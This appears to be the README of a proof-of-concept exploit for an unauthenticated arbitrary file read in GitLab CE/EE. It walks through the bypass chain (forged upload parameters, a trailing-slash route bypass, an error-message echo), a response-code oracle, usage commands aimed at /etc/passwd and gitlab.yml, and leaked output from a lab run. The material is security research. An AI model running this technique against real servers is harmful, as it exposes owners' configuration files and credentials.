
Python PoC exploiting CVE-2026-85706, an unauthenticated path traversal and arbitrary file read in GitLab CE/EE via the create-commit endpoint, with file-read oracle.
Unauthenticated path traversal / arbitrary file read in GitLab CE and EE. CVSS 10.0. Verified against a self-managed 19.3.1 instance in a local lab.
GitLab CE/EE:
Precondition: the instance has at least one public project. Any real project id works. No account or token needed.
The create-commit endpoint POST /api/v4/projects/:id/repository/commits
accepts large file bodies, so Workhorse buffers the request body to disk and
injects file.path / file.size metadata for Rails to read back. Four
mistakes line up:
require_gitlab_workhorse! at entry. The real
authenticate! sits behind authorize_push_to_branch!, which runs after
the file read.file_params_from_body_upload takes file.path and file.size straight
from request parameters, so File.read(file_path) follows any absolute
path you supply..../repository/commits\z.
Adding a trailing slash misses that route and falls through to the signed
reverse proxy, which forwards the raw body with a valid JWT. The Workhorse
check passes, Grape normalizes the slash, and the forged params survive.Content-Type: application/x-www-form-urlencoded the file content is
parsed by Rack::Utils.parse_nested_query. An illegal % sequence raises
ArgumentError: invalid %-encoding (<component>) and the 400 response
echoes that component verbatim.The read runs as the git user. Content comes back only if the file contains
an illegal % sequence; otherwise you still get a clean existence and
readability oracle:
| Response | Meaning |
|---|---|
400 local file not present | file does not exist |
500 | exists, not readable by git |
401 | exists and readable, no illegal %, nothing echoed |
400 invalid %-encoding (...) | readable, component echoed |
Files that reliably echo on a default omnibus install: gitlab.yml (header
comment hits 95% early), CI job logs and artifacts, uploaded attachments,
and database.yml on deployments with an external database.
python3 exploit.py -t http://target:8080 # reads gitlab.yml
python3 exploit.py -t http://target:8080 -f /etc/passwd
python3 exploit.py -t http://target:8080 -p 3 -o out.txt
No dependencies, stdlib only.
Against gitlab-ce 19.3.1 in docker, zero credentials:
$ python3 exploit.py -t http://127.0.0.1:8929
[*] HTTP 400 | leaked
[+] leaked content of /var/opt/gitlab/gitlab-rails/etc/gitlab.yml:
------------------------------------------------------------
=========================
## GitLab settings
gitlab:
## Web server settings (note: host is the FQDN, do not include http://)
host: localhost
port: 8929
https: false
...
------------------------------------------------------------
Oracle spot checks from the same run:
/etc/passwd -> 401 (readable, no echo)
/etc/shadow -> 500 (exists, permission denied)
/etc/nonexistent -> 400 local file not present
For authorized security testing and research only. Do not use against systems you do not own or have explicit permission to test.